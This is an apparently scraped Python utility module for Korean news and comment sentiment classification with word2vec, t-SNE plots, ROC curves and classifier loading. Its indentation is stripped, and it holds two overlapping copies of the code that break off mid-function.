tsne_df['words'] = list(model.wv.vocab.keys())[:limit]
# plotting. the corresponding word appears when you hover on the data point.
plot_tfidf.scatter(x='x', y='y', source=tsne_df)
hover = plot_tfidf.select(dict(type=HoverTool))
hover.tooltips={"word": "@words"}
show(plot_tfidf)
def Get_Infer_Vector(docs, model):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
return [model.infer_vector(doc.words) for doc in tqdm(docs)]
def Build_tfidf(data):
from sklearn.feature_extraction.text import TfidfVectorizer
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
vectorizer = TfidfVectorizer(analyzer = lambda x: x, min_df = 2)
matrix = vectorizer.fit_transform([x.words for x in tqdm(data)])
print (matrix.shape)
tfidf = dict(zip(vectorizer.get_feature_names(), vectorizer.idf_))
print ('vocab size : {}'.format(len(tfidf)))
return tfidf
def buildWordVector(tokens, model, size, tfidf):
import numpy as np
vec = np.zeros(size).reshape((1, size))
count = 0.
for word in tokens:
try:
vec += model[word].reshape((1, size)) * tfidf[word]
count += 1.
except KeyError: # handling the case where the token is not
# in the corpus. useful for testing.
continue
if count != 0:
vec /= count
return vec
def Make_Pre_Data(model, tfidf, size, train, test):
from datetime import datetime
import numpy as np
from sklearn.preprocessing import scale
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
start = datetime.now()
print (str(model))
wv = [model[w] for w in tqdm(model.wv.vocab.keys())]
process1 = datetime.now()
print ('running time : {}'.format(process1 - start))
print ('Vectorizing Train Data')
train_vecs_w2v = np.concatenate([buildWordVector(z, model, size, tfidf) for z in tqdm(map(lambda x: x.words, train))])
print ('scaling Train Data')
train_vecs_w2v = scale(train_vecs_w2v)
process2 = datetime.now()
print ('running time : {}'.format(process2 - process1))
print ('Vectorizing Test Data')
test_vecs_w2v = np.concatenate([buildWordVector(z, model, size, tfidf) for z in tqdm(map(lambda x: x.words, test))])
print ('scaling Test Data')
test_vecs_w2v = scale(test_vecs_w2v)
process3 = datetime.now()
print ('running time : {}'.format(process3 - process2))
print ('total running time : {}'.format(process3 - start))
return wv, train_vecs_w2v, test_vecs_w2v
# In[26]:
def ReMake_Outcome(train_y, test_y):
from tqdm import tqdm
import numpy as np
tqdm.pandas(desc="progress-bar")
train_y = np.array([y[0] for y in tqdm(train_y)])
test_y = np.array([y[0] for y in tqdm(test_y)])
return train_y, test_y
def Return_ModelName(type, model, tagger):
size = model.vector_size
epochs = model.epochs
window = model.window
negative = model.negative
hs = model.hs
sg = model.sg
cbow_mean = model.cbow_mean
min_count = model.min_count
min_alpha = model.min_alpha
alpha = model.alpha
modelName = '{}_size-{}_epochs-{}_window-{}_negative-{}_hs-{}_sg-{}_cbow_mean-{}_min_count-{}_min_alpha-{}_alpha-{}_by-{}'.format(
type, size, epochs, window, negative, hs, sg, cbow_mean, min_count,
min_alpha, alpha, tagger)
return modelName
def ConfusionMatrix_To_Heatmap(train_x, train_y, test_x, test_y, classifier, labelEncoder):
from sklearn.metrics import confusion_matrix
import matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns
unique_y = list(set(train_y))
train_confusion = confusion_matrix(train_y, classifier.predict(train_x))
train_confusion = pd.DataFrame(train_confusion,
columns=labelEncoder.inverse_transform(unique_y),
index=labelEncoder.inverse_transform(unique_y))
test_confusion = confusion_matrix(test_y, classifier.predict(test_x))
test_confusion = pd.DataFrame(test_confusion,
columns=labelEncoder.inverse_transform(unique_y),
index=labelEncoder.inverse_transform(unique_y))
fig = plt.figure(figsize=(16, 6))
fig.text(0.5, 0.04, 'Predicted', ha='center')
fig.text(0.04, 0.5, 'Actual', va='center', rotation='vertical')
ax1 = fig.add_subplot(1, 2, 1)
plt.title('train data Confusion matrix')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
sns.heatmap(train_confusion, annot=True, fmt='g', ax=ax1)
ax2 = fig.add_subplot(1, 2, 2)
plt.title('test data Confusion matrix')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
sns.heatmap(test_confusion, annot=True, fmt='g', ax=ax2)
def Roc_Curve_MultiClass(test_x, test_y, classifier, labelEncoder, label):
from sklearn.preprocessing import label_binarize
from sklearn.metrics import roc_curve, auc
import numpy as np
from scipy import interp
import matplotlib.pyplot as plt
from itertools import cycle
lw = 2
y_pred = label_binarize(classifier.predict(test_x), classes = label)
y_true = label_binarize(test_y, classes = label)
fpr = dict(); tpr = dict(); roc_auc = dict()
for i in range(len(label)):
fpr[i], tpr[i], _ = roc_curve(y_true[:, i], y_pred[:, i])
roc_auc[i] = auc(fpr[i], tpr[i])
fpr['micro'], tpr['micro'], _ = roc_curve(y_true.ravel(), y_pred.ravel())
roc_auc['micro'] = auc(fpr['micro'], tpr['micro'])
all_fpr = np.unique(np.concatenate([fpr[i] for i in range(len(label))]))
mean_tpr = np.zeros_like(all_fpr)
for i in range(len(label)):
mean_tpr += interp(all_fpr, fpr[i], tpr[i])
mean_tpr /= len(label)
fpr["macro"] = all_fpr
tpr["macro"] = mean_tpr
roc_auc["macro"] = auc(fpr["macro"], tpr["macro"])
plt.figure()
plt.plot(fpr["micro"], tpr["micro"],
label='micro-average ROC curve (area = {0:0.2f})'
''.format(roc_auc["micro"]),
color='deeppink', linestyle=':', linewidth=4)
plt.plot(fpr["macro"], tpr["macro"],
label='macro-average ROC curve (area = {0:0.2f})'
''.format(roc_auc["macro"]),
color='navy', linestyle=':', linewidth=4)
for i in range(len(label)):
y = labelEncoder.inverse_transform(i)
plt.plot(fpr[i], tpr[i], lw=lw,
label='ROC curve of class {0} (area = {1:0.2f})'
''.format(y, roc_auc[i]))
plt.plot([0, 1], [0, 1], 'k--', lw=lw)
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Receiver operating characteristic to multi-class')
plt.legend(loc="center left", bbox_to_anchor=(1, 0.5))
plt.show()
return fpr, tpr, roc_auc
def Plot_Roc_Curver_Micro_Macro(lg, rf, ksvm, xgbo):
import matplotlib.pyplot as plt
fig = plt.figure(figsize=(16, 6))
fig.text(0.5, 0.04, 'False Positive Rate', ha='center')
fig.text(0.04, 0.5, 'True Positive Rate', va='center', rotation='vertical')
ax1 = fig.add_subplot(1, 2, 1)
plt.title('micro-average ROC curve')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
plt.plot([0, 1], [0, 1], 'k--', lw=2)
plt.plot(
lg[0]['micro'], lg[1]['micro'], label='logistic (area = {0:0.2f})'.format(lg[2]['micro']))
plt.plot(
rf[0]['micro'], rf[1]['micro'], label='Random Forest (area = {0:0.2f})'.format(rf[2]['micro']))
plt.plot(
ksvm[0]['micro'], ksvm[1]['micro'], label='Kernel SVM (area = {0:0.2f})'.format(ksvm[2]['micro']))
plt.plot(
xgbo[0]['micro'], xgbo[1]['micro'], label='XGBoost (area = {0:0.2f})'.format(xgbo[2]['micro']))
plt.legend(loc="lower center", bbox_to_anchor=(0.5, -0.35))
ax2 = fig.add_subplot(1, 2, 2)
plt.title('macro-average ROC curve')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
plt.plot([0, 1], [0, 1], 'k--', lw=2)
plt.plot(
lg[0]['macro'], lg[1]['macro'], label='logistic (area = {0:0.2f})'.format(lg[2]['macro']))
plt.plot(
rf[0]['macro'], rf[1]['macro'], label='Random Forest (area = {0:0.2f})'.format(rf[2]['macro']))
plt.plot(
ksvm[0]['macro'], ksvm[1]['macro'], label='Kernel SVM (area = {0:0.2f})'.format(ksvm[2]['macro']))
plt.plot(
xgbo[0]['macro'], xgbo[1]['macro'], label='XGBoost (area = {0:0.2f})'.format(xgbo[2]['macro']))
plt.legend(loc="lower center", bbox_to_anchor=(0.5, -0.35))
plt.show()
def LoadClassifier(filePath):
import xgboost as xgb
import os
import re
import pickle
from keras.models import load_model
import multiprocessing
cores = int(multiprocessing.cpu_count())
fileName = os.path.split(filePath)[1]
cls_type = re.split('_', fileName)[0]
if cls_type == 'XGBoost':
model = xgb.Booster({'nthread' : cores})
model.load_model(filePath)
elif cls_type == 'NeuralNetwork':
cls_type = cls_type+'_'+ re.split('_', fileName)[1]
model = load_model(filePath)
else:
model = pickle.load(open(filePath, 'rb'))
return cls_type, model
def PredictNewsClassification(infer_vec, clsName, classifier):
from sklearn.preprocessing import scale
import numpy as np
from tqdm import tqdm
import xgboost as xgb
tqdm.pandas(desc="progress-bar")
if clsName.startswith('XGBoost'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
dData = xgb.DMatrix(vecs_w2v)
pred = classifier.predict(dData)
del dData
elif clsName.startswith('NeuralNetwork'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
pred = classifier.predict_classes(vecs_w2v)
else:
pred = classifier.predict(infer_vec)
return clsName, pred
def MakeTaggedDataDAUM(df, taggedDoc, tagger, stopwords, site):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
w2v_docs = list()
for idx in tqdm(df.index):
text = df.loc[idx, 'title'] + '.\n' + df.loc[idx,'mainText']
pos = nav_tokenizer(tagger, text, stopwords)
category = 'undecided'
label = [site + '_news_' + str(idx)]
w2v_docs.append(taggedDoc(pos, label, category))
return w2v_docs
def nav_tokenizer(tagger, corpus, stopwords):
pos = tagger.pos(corpus)
pos = ['/'.join(t) for t in pos if not t[0] in stopwords]
return pos
def Make_Pre_Data_For_DAUM(model, tfidf, size, data):
from datetime import datetime
import numpy as np
from sklearn.preprocessing import scale
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
start = datetime.now()
print(str(model))
wv = [model[w] for w in tqdm(model.wv.vocab.keys())]
process1 = datetime.now()
print('running time : {}'.format(process1 - start))
print('Vectorizing Data')
vecs_w2v = np.concatenate(
[buildWordVector(z, model, size, tfidf) for z in tqdm(map(lambda x: x.words, data))])
print('scaling Data')
vecs_w2v = scale(vecs_w2v)
process2 = datetime.now()
print('total running time : {}'.format(process2 - start))
return wv, vecs_w2v
def nav_tokenizer2(tagger, corpus, stopwords):
pos = tagger.pos(corpus)
pos = [t[0] for t in pos if not t[0] in stopwords]
return pos
def MakeTaggedDataDAUM2(df, taggedDoc, tagger, stopwords, site):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
w2v_docs = list()
for idx in tqdm(df.index):
text = df.loc[idx, 'title'] + '.\n' + df.loc[idx,'mainText']
pos = nav_tokenizer2(tagger, text, stopwords)
category = 'undecided'
label = [site + '_news_' + str(idx)]
w2v_docs.append(taggedDoc(pos, label, category))
return w2v_docs
def ExtractModelType(modelName):
import re, os
fileName = os.path.split(modelName)[1]
tagger = re.search('(-ct)|(-mecab)', fileName)
tagger = tagger.group()[1:]
if tagger == 'ct' : tagger = 'twitter'
modelIs = re.search('(Doc2Vec)|(word2vec)|(fastText)', fileName)
modelIs = modelIs.group()
if modelIs == 'Doc2Vec':
modelType = re.search('(dbow)|(dm-c)|(dm-m)', fileName)
modelType = modelType.group()
elif modelIs == 'word2vec':
modelType1 = re.search('(sg-[0-1])', fileName)
modelType1 = modelType1.group()
if re.search('[0-1]', modelType1).group() == '1':
modelType1 = 'skip-gram'
else:
modelType1 = 'CBOW'
modelType2 = re.search('cbow_mean-[0-1]', fileName)
modelType2 = modelType2.group()
modelType = modelType1 + '_' + modelType2
elif modelIs == 'fastText':
modelType1 = re.search('(sg-[0-1])', fileName)
modelType1 = modelType1.group()
if re.search('[0-1]', modelType1).group() == '1':
modelType1 = 'skip-gram'
else:
modelType1 = 'CBOW'
modelType2 = re.search('cbow_mean-[0-1]', fileName)
modelType2 = modelType2.group()
modelType = modelType1 + '_' + modelType2
modelIs = '{}_{}'.format(modelIs,modelType)
return modelIs, tagger
def PredictSentiment(infer_vec, clsName, classifier):
from sklearn.preprocessing import scale
import numpy as np
from tqdm import tqdm
import xgboost as xgb
from itertools import chain
tqdm.pandas(desc="progress-bar")
if clsName.startswith('XGBoost'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
dData = xgb.DMatrix(vecs_w2v)
pred = classifier.predict(dData)
pred = pred.round()
del dData
elif clsName.startswith('NeuralNetwork'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
pred = classifier.predict_classes(vecs_w2v)
pred = np.array(list(chain.from_iterable(pred)))
else:
pred = classifier.predict(infer_vec)
return clsName, pred
def Read_Comments(row):
import pandas as pd
import Database_Handler as dh
mongodb = dh.ToMongoDB(*dh.GCP_MongoDB_Information())
dbname = 'hy_db'
useDB = dh.Use_Database(mongodb, dbname)
commentCollection = dh.Use_Collection(useDB, 'comments')
info = {'site': row['site'],
'category': row['category'],
'date': row['date'],
'rank': str(row['rank'])}
commentsForNews = commentCollection.find(info)
commentsForNews = pd.DataFrame(list(commentsForNews))
realNumCount = commentsForNews.shape
print(realNumCount)
return commentsForNews
def Make_Comments_File(filepath, row):
import Basic_Module as bm
import os
filename = row.name
absPath = os.path.join(filepath, filename + '.csv')
if os.path.isfile(absPath):
pass
else:
comments = bm.Read_Comments(row)
comments.to_csv(absPath, index=None, header=True, encoding='utf-8')
def Read_Comments2(row):
import pandas as pd
import Database_Handler as dh
mongodb = dh.ToMongoDB(*dh.GCP_MongoDB_Information())
dbname = 'hy_db'
useDB = dh.Use_Database(mongodb, dbname)
commentCollection = dh.Use_Collection(useDB, 'comments')
info = {'site': row['site'],
'category': row['category'],
'date': row['date'],
'rank': int(row['rank'])}
commentsForNews = commentCollection.find(info)
commentsForNews = pd.DataFrame(list(commentsForNews))
realNumCount = commentsForNews.shape
print(realNumCount)
return commentsForNews
def Make_Comments_File2(filepath, row):
import Basic_Module as bm
import os
filename = row.name
absPath = os.path.join(filepath, filename + '.csv')
if os.path.isfile(absPath):
pass
else:
comments = Read_Comments2(row)
comments.to_csv(absPath, index=None, header=True, encoding='utf-8')
# row : index : id
# file : <>.csv
def Read_CommentsFile(filepath, row):
import os
import pandas as pd
filename = row.name + '.csv'
absFilePath = os.path.join(filepath, filename)
df = pd.read_csv(absFilePath, encoding='utf-8', header=0, index_col=None)
df = df[~df.comments.isna()]
df = df[df.comments.str.match('.+[0-9a-zA-Z가-힣ㄱ-하-ㅣ]+')]
# 댓글중에서 문자가 적어도 하나는 있는 것만.
return df
def TokenizeAndTag(tagger, row, stopwords, tagDoc):
pos = nav_tokenizer(tagger, row.comments, stopwords)
category= [row.site + '_' + row.category.strip() + '_' + row.date + '_' + str(row['rank']) + '_' + str(row.name)]
label = row._id
return tagDoc(pos, label, category)
def RunClassifier(rawdata, infer_vectors, path, name):
import warnings
warnings.filterwarnings('ignore')
from glob import glob
import pandas as pd
classifierList = glob(path + '*' + name)
loadClassifierDict = dict(map(lambda x: LoadClassifier(x), classifierList))
df = dict(map(lambda x: PredictSentiment(infer_vectors, x, loadClassifierDict[x]), loadClassifierDict))
df = pd.DataFrame.from_dict(df)
df = rawdata.merge(df, left_index=True, right_index=True)
return df
def MakeTaggedData_For_Comments(df, taggedDoc, tagger, stopwords):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
w2v_docs = list()
for idx in tqdm(df.index):
data = df.loc[idx]
text = data['comments']
pos = nav_tokenizer2(tagger, text, stopwords)
category = [data.site + '_' + data.category.strip() + '_' + data.date + '_' + str(data['rank']) + '_' + str(data.name)]
label = data._id
w2v_docs.append(taggedDoc(pos, label, category))
return w2v_docs
| # coding: utf-8
# # Train Classifier For News Classification
# > ## * Word2Vec
def Make_Roc_Curve(x, y, model1, model2, model3, model4):
import matplotlib.pyplot as plt
print ('Logistic Regression')
fpr1, tpr1, thresholds1 = roc_curve(y, model1.predict(x))
print ('Random Forest')
fpr2, tpr2, thresholds2 = roc_curve(y, model2.predict(x))
print ('Kernel SVM')
fpr3, tpr3, thresholds3 = roc_curve(y, model3.predict(x))
print ('XGBoost')
import xgboost as xgb
fpr4, tpr4, thresholds4 = roc_curve(y, model4.predict(xgb.DMatrix(x)))
plt.plot(fpr1, tpr1, label="Logistic Regression")
plt.plot(fpr2, tpr2, label="RandomForest")
plt.plot(fpr3, tpr3, label="Kernel SVM")
plt.plot(fpr4, tpr4, label='XGBoost')
plt.legend()
plt.plot([0, 1], [0, 1], 'k--', label="random guess")
plt.xlabel('False Positive Rate (Fall-Out)')
plt.ylabel('True Positive Rate (Recall)')
plt.title('Receiver operating characteristic')
plt.show()
def plot_history(history):
import matplotlib.pyplot as plt
"""Plot model history after `fit()`.
"""
# summarize history for accuracy
plt.plot(history.history['acc'])
plt.plot(history.history['val_acc'])
plt.title('model accuracy')
plt.ylabel('accuracy')
plt.xlabel('epoch')
plt.legend(['train', 'valid'], loc='upper left')
plt.show()
# summarize history for loss
plt.plot(history.history['loss'])
plt.plot(history.history['val_loss'])
plt.title('model loss')
plt.ylabel('loss')
plt.xlabel('epoch')
plt.legend(['train', 'valid'], loc='upper left')
plt.show()
def Make_TSNE1(n_component, model, wv, limit):
from sklearn.manifold import TSNE
import matplotlib.pyplot as plt
import pandas as pd
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
wv = wv[:limit]
tsne_model = TSNE(n_components=n_component,
verbose = 1, random_state = 0)
tsne_w2v = tsne_model.fit_transform(wv)
tsne_df = pd.DataFrame(tsne_w2v, columns = ['x', 'y'])
tsne_df['words'] = list(model.wv.vocab.keys())[:limit]
i = 0
for i in tqdm(range(tsne_df['words'].size)):
plt.scatter(tsne_df['x'][i], tsne_df['y'][i])
plt.annotate(tsne_df['words'][i],
xy = (tsne_df['x'][i], tsne_df['y'][i]))
plt.show()
def Make_TSNE2(n_component, model, wv, limit):
from sklearn.manifold import TSNE
import matplotlib.pyplot as plt
import pandas as pd
from tqdm import tqdm
import bokeh.plotting as bp
from bokeh.models import HoverTool, BoxSelectTool
from bokeh.plotting import figure, show, output_notebook
output_notebook()
plot_tfidf = bp.figure(plot_width=500, plot_height=500, title="A map of word vectors",
tools="pan,wheel_zoom,box_zoom,reset,hover,previewsave",
x_axis_type=None, y_axis_type=None, min_border=1)
word_vectors = [model[w] for w in tqdm(list(model.wv.vocab.keys())[:limit])]
tsne_model = TSNE(n_components=n_component, verbose=1, random_state=0)
tsne_w2v = tsne_model.fit_transform(word_vectors)
# putting everything in a dataframe
tsne_df = pd.DataFrame(tsne_w2v, columns=['x', 'y'])
tsne_df['words'] = list(model.wv.vocab.keys())[:limit]
# plotting. the corresponding word appears when you hover on the data point.
plot_tfidf.scatter(x='x', y='y', source=tsne_df)
hover = plot_tfidf.select(dict(type=HoverTool))
hover.tooltips={"word": "@words"}
show(plot_tfidf)
def Get_Infer_Vector(docs, model):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
return [model.infer_vector(doc.words) for doc in tqdm(docs)]
def Build_tfidf(data):
from sklearn.feature_extraction.text import TfidfVectorizer
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
vectorizer = TfidfVectorizer(analyzer = lambda x: x, min_df = 2)
matrix = vectorizer.fit_transform([x.words for x in tqdm(data)])
print (matrix.shape)
tfidf = dict(zip(vectorizer.get_feature_names(), vectorizer.idf_))
print ('vocab size : {}'.format(len(tfidf)))
return tfidf
def buildWordVector(tokens, model, size, tfidf):
import numpy as np
vec = np.zeros(size).reshape((1, size))
count = 0.
for word in tokens:
try:
vec += model[word].reshape((1, size)) * tfidf[word]
count += 1.
except KeyError: # handling the case where the token is not
# in the corpus. useful for testing.
continue
if count != 0:
vec /= count
return vec
def Make_Pre_Data(model, tfidf, size, train, test):
from datetime import datetime
import numpy as np
from sklearn.preprocessing import scale
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
start = datetime.now()
print (str(model))
wv = [model[w] for w in tqdm(model.wv.vocab.keys())]
process1 = datetime.now()
print ('running time : {}'.format(process1 - start))
print ('Vectorizing Train Data')
train_vecs_w2v = np.concatenate([buildWordVector(z, model, size, tfidf) for z in tqdm(map(lambda x: x.words, train))])
print ('scaling Train Data')
train_vecs_w2v = scale(train_vecs_w2v)
process2 = datetime.now()
print ('running time : {}'.format(process2 - process1))
print ('Vectorizing Test Data')
test_vecs_w2v = np.concatenate([buildWordVector(z, model, size, tfidf) for z in tqdm(map(lambda x: x.words, test))])
print ('scaling Test Data')
test_vecs_w2v = scale(test_vecs_w2v)
process3 = datetime.now()
print ('running time : {}'.format(process3 - process2))
print ('total running time : {}'.format(process3 - start))
return wv, train_vecs_w2v, test_vecs_w2v
# In[26]:
def ReMake_Outcome(train_y, test_y):
from tqdm import tqdm
import numpy as np
tqdm.pandas(desc="progress-bar")
train_y = np.array([y[0] for y in tqdm(train_y)])
test_y = np.array([y[0] for y in tqdm(test_y)])
return train_y, test_y
def Return_ModelName(type, model, tagger):
size = model.vector_size
epochs = model.epochs
window = model.window
negative = model.negative
hs = model.hs
sg = model.sg
cbow_mean = model.cbow_mean
min_count = model.min_count
min_alpha = model.min_alpha
alpha = model.alpha
modelName = '{}_size-{}_epochs-{}_window-{}_negative-{}_hs-{}_sg-{}_cbow_mean-{}_min_count-{}_min_alpha-{}_alpha-{}_by-{}'.format(
type, size, epochs, window, negative, hs, sg, cbow_mean, min_count,
min_alpha, alpha, tagger)
return modelName
def ConfusionMatrix_To_Heatmap(train_x, train_y, test_x, test_y, classifier, labelEncoder):
from sklearn.metrics import confusion_matrix
import matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns
unique_y = list(set(train_y))
train_confusion = confusion_matrix(train_y, classifier.predict(train_x))
train_confusion = pd.DataFrame(train_confusion,
columns=labelEncoder.inverse_transform(unique_y),
index=labelEncoder.inverse_transform(unique_y))
test_confusion = confusion_matrix(test_y, classifier.predict(test_x))
test_confusion = pd.DataFrame(test_confusion,
columns=labelEncoder.inverse_transform(unique_y),
index=labelEncoder.inverse_transform(unique_y))
fig = plt.figure(figsize=(16, 6))
fig.text(0.5, 0.04, 'Predicted', ha='center')
fig.text(0.04, 0.5, 'Actual', va='center', rotation='vertical')
ax1 = fig.add_subplot(1, 2, 1)
plt.title('train data Confusion matrix')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
sns.heatmap(train_confusion, annot=True, fmt='g', ax=ax1)
ax2 = fig.add_subplot(1, 2, 2)
plt.title('test data Confusion matrix')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
sns.heatmap(test_confusion, annot=True, fmt='g', ax=ax2)
def Roc_Curve_MultiClass(test_x, test_y, classifier, labelEncoder, label):
from sklearn.preprocessing import label_binarize
from sklearn.metrics import roc_curve, auc
import numpy as np
from scipy import interp
import matplotlib.pyplot as plt
from itertools import cycle
lw = 2
y_pred = label_binarize(classifier.predict(test_x), classes = label)
y_true = label_binarize(test_y, classes = label)
fpr = dict(); tpr = dict(); roc_auc = dict()
for i in range(len(label)):
fpr[i], tpr[i], _ = roc_curve(y_true[:, i], y_pred[:, i])
roc_auc[i] = auc(fpr[i], tpr[i])
fpr['micro'], tpr['micro'], _ = roc_curve(y_true.ravel(), y_pred.ravel())
roc_auc['micro'] = auc(fpr['micro'], tpr['micro'])
all_fpr = np.unique(np.concatenate([fpr[i] for i in range(len(label))]))
mean_tpr = np.zeros_like(all_fpr)
for i in range(len(label)):
mean_tpr += interp(all_fpr, fpr[i], tpr[i])
mean_tpr /= len(label)
fpr["macro"] = all_fpr
tpr["macro"] = mean_tpr
roc_auc["macro"] = auc(fpr["macro"], tpr["macro"])
plt.figure()
plt.plot(fpr["micro"], tpr["micro"],
label='micro-average ROC curve (area = {0:0.2f})'
''.format(roc_auc["micro"]),
color='deeppink', linestyle=':', linewidth=4)
plt.plot(fpr["macro"], tpr["macro"],
label='macro-average ROC curve (area = {0:0.2f})'
''.format(roc_auc["macro"]),
color='navy', linestyle=':', linewidth=4)
for i in range(len(label)):
y = labelEncoder.inverse_transform(i)
plt.plot(fpr[i], tpr[i], lw=lw,
label='ROC curve of class {0} (area = {1:0.2f})'
''.format(y, roc_auc[i]))
plt.plot([0, 1], [0, 1], 'k--', lw=lw)
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('Receiver operating characteristic to multi-class')
plt.legend(loc="center left", bbox_to_anchor=(1, 0.5))
plt.show()
return fpr, tpr, roc_auc
def Plot_Roc_Curver_Micro_Macro(lg, rf, ksvm, xgbo):
import matplotlib.pyplot as plt
fig = plt.figure(figsize=(16, 6))
fig.text(0.5, 0.04, 'False Positive Rate', ha='center')
fig.text(0.04, 0.5, 'True Positive Rate', va='center', rotation='vertical')
ax1 = fig.add_subplot(1, 2, 1)
plt.title('micro-average ROC curve')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
plt.plot([0, 1], [0, 1], 'k--', lw=2)
plt.plot(
lg[0]['micro'], lg[1]['micro'], label='logistic (area = {0:0.2f})'.format(lg[2]['micro']))
plt.plot(
rf[0]['micro'], rf[1]['micro'], label='Random Forest (area = {0:0.2f})'.format(rf[2]['micro']))
plt.plot(
ksvm[0]['micro'], ksvm[1]['micro'], label='Kernel SVM (area = {0:0.2f})'.format(ksvm[2]['micro']))
plt.plot(
xgbo[0]['micro'], xgbo[1]['micro'], label='XGBoost (area = {0:0.2f})'.format(xgbo[2]['micro']))
plt.legend(loc="lower center", bbox_to_anchor=(0.5, -0.35))
ax2 = fig.add_subplot(1, 2, 2)
plt.title('macro-average ROC curve')
plt.rcParams['font.family'] = 'NanumBarunGothicOTF'
plt.plot([0, 1], [0, 1], 'k--', lw=2)
plt.plot(
lg[0]['macro'], lg[1]['macro'], label='logistic (area = {0:0.2f})'.format(lg[2]['macro']))
plt.plot(
rf[0]['macro'], rf[1]['macro'], label='Random Forest (area = {0:0.2f})'.format(rf[2]['macro']))
plt.plot(
ksvm[0]['macro'], ksvm[1]['macro'], label='Kernel SVM (area = {0:0.2f})'.format(ksvm[2]['macro']))
plt.plot(
xgbo[0]['macro'], xgbo[1]['macro'], label='XGBoost (area = {0:0.2f})'.format(xgbo[2]['macro']))
plt.legend(loc="lower center", bbox_to_anchor=(0.5, -0.35))
plt.show()
def LoadClassifier(filePath):
import xgboost as xgb
import os
import re
import pickle
from keras.models import load_model
import multiprocessing
cores = int(multiprocessing.cpu_count())
fileName = os.path.split(filePath)[1]
cls_type = re.split('_', fileName)[0]
if cls_type == 'XGBoost':
model = xgb.Booster({'nthread' : cores})
model.load_model(filePath)
elif cls_type == 'NeuralNetwork':
cls_type = cls_type+'_'+ re.split('_', fileName)[1]
model = load_model(filePath)
else:
model = pickle.load(open(filePath, 'rb'))
return cls_type, model
def PredictNewsClassification(infer_vec, clsName, classifier):
from sklearn.preprocessing import scale
import numpy as np
from tqdm import tqdm
import xgboost as xgb
tqdm.pandas(desc="progress-bar")
if clsName.startswith('XGBoost'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
dData = xgb.DMatrix(vecs_w2v)
pred = classifier.predict(dData)
del dData
elif clsName.startswith('NeuralNetwork'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
pred = classifier.predict_classes(vecs_w2v)
else:
pred = classifier.predict(infer_vec)
return clsName, pred
def MakeTaggedDataDAUM(df, taggedDoc, tagger, stopwords, site):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
w2v_docs = list()
for idx in tqdm(df.index):
text = df.loc[idx, 'title'] + '.\n' + df.loc[idx,'mainText']
pos = nav_tokenizer(tagger, text, stopwords)
category = 'undecided'
label = [site + '_news_' + str(idx)]
w2v_docs.append(taggedDoc(pos, label, category))
return w2v_docs
def nav_tokenizer(tagger, corpus, stopwords):
pos = tagger.pos(corpus)
pos = ['/'.join(t) for t in pos if not t[0] in stopwords]
return pos
def Make_Pre_Data_For_DAUM(model, tfidf, size, data):
from datetime import datetime
import numpy as np
from sklearn.preprocessing import scale
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
start = datetime.now()
print(str(model))
wv = [model[w] for w in tqdm(model.wv.vocab.keys())]
process1 = datetime.now()
print('running time : {}'.format(process1 - start))
print('Vectorizing Data')
vecs_w2v = np.concatenate(
[buildWordVector(z, model, size, tfidf) for z in tqdm(map(lambda x: x.words, data))])
print('scaling Data')
vecs_w2v = scale(vecs_w2v)
process2 = datetime.now()
print('total running time : {}'.format(process2 - start))
return wv, vecs_w2v
def nav_tokenizer2(tagger, corpus, stopwords):
pos = tagger.pos(corpus)
pos = [t[0] for t in pos if not t[0] in stopwords]
return pos
def MakeTaggedDataDAUM2(df, taggedDoc, tagger, stopwords, site):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
w2v_docs = list()
for idx in tqdm(df.index):
text = df.loc[idx, 'title'] + '.\n' + df.loc[idx,'mainText']
pos = nav_tokenizer2(tagger, text, stopwords)
category = 'undecided'
label = [site + '_news_' + str(idx)]
w2v_docs.append(taggedDoc(pos, label, category))
return w2v_docs
def ExtractModelType(modelName):
import re, os
fileName = os.path.split(modelName)[1]
tagger = re.search('(-ct)|(-mecab)', fileName)
tagger = tagger.group()[1:]
if tagger == 'ct' : tagger = 'twitter'
modelIs = re.search('(Doc2Vec)|(word2vec)|(fastText)', fileName)
modelIs = modelIs.group()
if modelIs == 'Doc2Vec':
modelType = re.search('(dbow)|(dm-c)|(dm-m)', fileName)
modelType = modelType.group()
elif modelIs == 'word2vec':
modelType1 = re.search('(sg-[0-1])', fileName)
modelType1 = modelType1.group()
if re.search('[0-1]', modelType1).group() == '1':
modelType1 = 'skip-gram'
